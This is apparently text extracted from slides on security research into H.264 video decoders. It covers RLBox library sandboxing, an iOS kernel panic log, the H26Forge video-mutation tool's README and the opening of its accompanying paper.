  - **Graphite**: Font parsing
  - **Woff2**: Font parsing
  - **Hunspell**: Spellchecker
  - **Ogg**: Media container format
  - **Soundtouch**: Audio processing (coming in Firefox 120)

RLBox

https://rlbox.dev/



RLBox: Practical third-party library sandboxing



RLBox: Practical third-party library sandboxing

Library Code

```
unsigned add(unsigned a, unsigned b) {
  return a + b;
}
```

Calling Code

Unsandboxed Code

```
auto result = add(a, b);
```

Sandboxed Code

```
auto ok = sandbox.invoke_sandbox_function(add, 3, 4)
    .copy_and_verify([](unsigned ret){
        printf("Adding... 3+4 = %d\n", ret);
        return ret == 7;
});
```

RLBox: Practical third-party library sandboxing

```
143
144 /*************************** EXPAT CALL BACKS ****************************/
145 // The callback handlers that get called from the expat parser.
146
147 static void Driver_HandleXMLDeclaration(
148     rlbox_sandbox_expat& aSandbox, tainted_expat<void*> /* aUserData */,
149     tainted_expat<const XML_Char*> aVersion,
150     tainted_expat<const XML_Char*> aEncoding, tainted_expat<int> aStandalone) {
151   nsExpatDriver* driver = static_cast<nsExpatDriver*>(aSandbox.sandbox_storage);
152   MOZ_ASSERT(driver);
153
154   int standalone = aStandalone.copy_and_verify([&](auto a) {
155     // Standalone argument can be -1, 0, or 1 (see
156     // /parser/expat/lib/expat.h#185)
157     MOZ_RELEASE_ASSERT(a >= -1 && a <= 1, "Unexpected standalone parameter");
158     return a;
159   });
160
```

https://searchfox.org/mozilla-central/search?q=copy_and_verify&path=&case=false&regexp=false

RLBox: Practical third-party library sandboxing

- Toolkit for sandboxing third party C libraries that are used by C++ code
- Been in production in Firefox since 2020
  - Available for Bug Bounty!

RLBox

- Reach out if you want to sandbox any libraries in production code!
- Tutorial: https://rlbox.dev/

Conclusion

Decoder complexity is significant, and video decoding attack surface is difficult to explore

Discovered serious vulnerabilities found in the iOS Kernel

Types of Decoder Bugs

- Presented parser bug that caused memory corruption
- Other issues discovered
  - DoS from undefined states
  - Information leakage
- Some issues were 0-click

```
panic(cpu 4 caller 0xfffffff0082affd0): Unexpected fault in kernel static region
 at pc 0xfffffff0095a162c, lr 0xfffffff00959db94 (saved state: 0xffffffeb17c33570)
         x0:  0xffffffe3e7162000 x1:  0xffffffe6006b3934  x2:  0x000000000000003f  x3:  0x0000000000000000
         x4:  0x0000000000000001 x5:  0x0000000000003c22  x6:  0x0000000000000000  x7:  0x0000000000000000
         x8:  0x0000000000000007 x9:  0xffffffec041c8000  x10: 0xffffffe133ab8000  x11: 0xffffffe3e7162008
         x12: 0x0000000000020002 x13: 0x000000000000006c  x14: 0x0000000000006000  x15: 0x0000000000009000
         x16: 0xfffffff041410000 x17: 0xee66ffec041c8000  x18: 0x0000000000000000  x19: 0xffffffeb17c33980
         x20: 0xffffffe3e7162000 x21: 0x000000002b680010  x22: 0xffffffeb17c33980  x23: 0x0000000000000003
         x24: 0xffffffe3e7162000 x25: 0xffffffe4cd4c302c  x26: 0xffffffe6006b3964  x27: 0x0000000000000000
         x28: 0x0000000000000000 fp:  0xffffffeb17c338d0  lr:  0xfffffff00959db94  sp:  0xffffffeb17c338c0
         pc:  0xfffffff0095a162c cpsr: 0x80400204         esr: 0x96000006          far: 0xfffffff041410030

Debugger message: panic
Device: D79
Hardware Model: iPhone12,8
ECID: 1BC4C34D51F515B0
Boot args: -v debug=0x14e serial=3 gpu=0 ioasm_behavior=0 -vm                                    sted=1
Memory ID: 0x0
OS release type: User
OS version: 19E241
Kernel version: Darwin Kernel Version 21.4.0: Mon Feb 21 21:2                                    0
Kernel UUID: DBF32159-706B-3476-AC64-BABA9A80DF22
iBoot version: iHoot-1975.1.46.1.3
```





Conclusion

Decoder complexity is significant, and video decoding attack surface is underexplored

Introduced H26Forge: toolkit to create specially crafted H.264 videos

Discovered serious vulnerabilities found in the iOS Kernel

Special tools like H26Forge can help make sense of the complexity of encoded videos and to discover vulnerabilities in this underexplored attack surface

Going Forward

More codecs to explore

More infrastructure may be vulnerable such as video transcoding

We can all H26**Forge** a new path forward to a secure video infrastructure

H.265 HEVC
High Efficiency Video Coding

AV1

VVC





H26Forge

Warehouse-Scale Video Acceleration: Co-design and Deployment in the Wild
https://gwern.net/doc/cs/hardware/2021-ranganathan.pdf

Going H26Forward

Software Bill of Materials (SBOM)

User available System-on-Chip BOM ☺



https://www.mepits.com/uploads/ckeditor/images/psoc%20image.png

Memory-Safe Languages

H26Forge is written in Rust ☺



Secure Software Development Lifecycle (SDLC)

Video codec testing with H26Forge ☺

https://dm1wsvzj3kcu0.cloudfront.net/wp-content/uploads/2023/06/Planning-1.png

The attack surface of video decoders is underexplored.

Tools like H26Forge unlock it.

Hack The Planet!

wrv@utexas.edu



README.md

H26Forge

H26Forge is domain-specific infrastructure for analyzing, generating, and manipulating syntactically correct but semantically spec-non-compliant H.264 video files.

H26Forge has three key features:

1. Given an Annex B H.264 file, randomly mutate the syntax elements.
2. Given an Annex B H.264 file and a Python script, programmatically modify the syntax elements.
3. Generate Annex B H.264 files with random syntax elements.

This tool and its findings are described in the H26Forge paper.

Code and Paper are available



The Most Dangerous Codec in the World:
Finding and Exploiting Vulnerabilities in H.264 Decoders

Willy R. Vasquez
The University of Texas at Austin

Stephen Checkoway
Oberlin College

Hovav Shacham
The University of Texas at Austin

Abstract

Modern video encoding standards such as H.264 are a marvel of hidden complexity. But with hidden complexity comes hidden security risk. Decoding video in practice means interacting with dedicated hardware accelerators and the proprietary, privileged software components used to drive them. The video decoder ecosystem is obscure, opaque, diverse, highly privileged, largely untested, and highly exposed—a dangerous combination.

self-contained, sandboxed software libraries, the attack surface for video processing is larger, more privileged, and, as we explain below, more heterogeneous.

On the basis of a guideline they call "The Rule Of 2,"[2] the Chrome developers try to avoid writing code that does more than 2 of the following: parses untrusted input, is written in a memory-unsafe language, *and* runs at high privilege. The video processing stack in Chrome violates the Rule of 2, and so do the corresponding stacks in other major browsers and

https://github.com/h26forge/h26forge

https://wrv.github.io/h26forge.pdf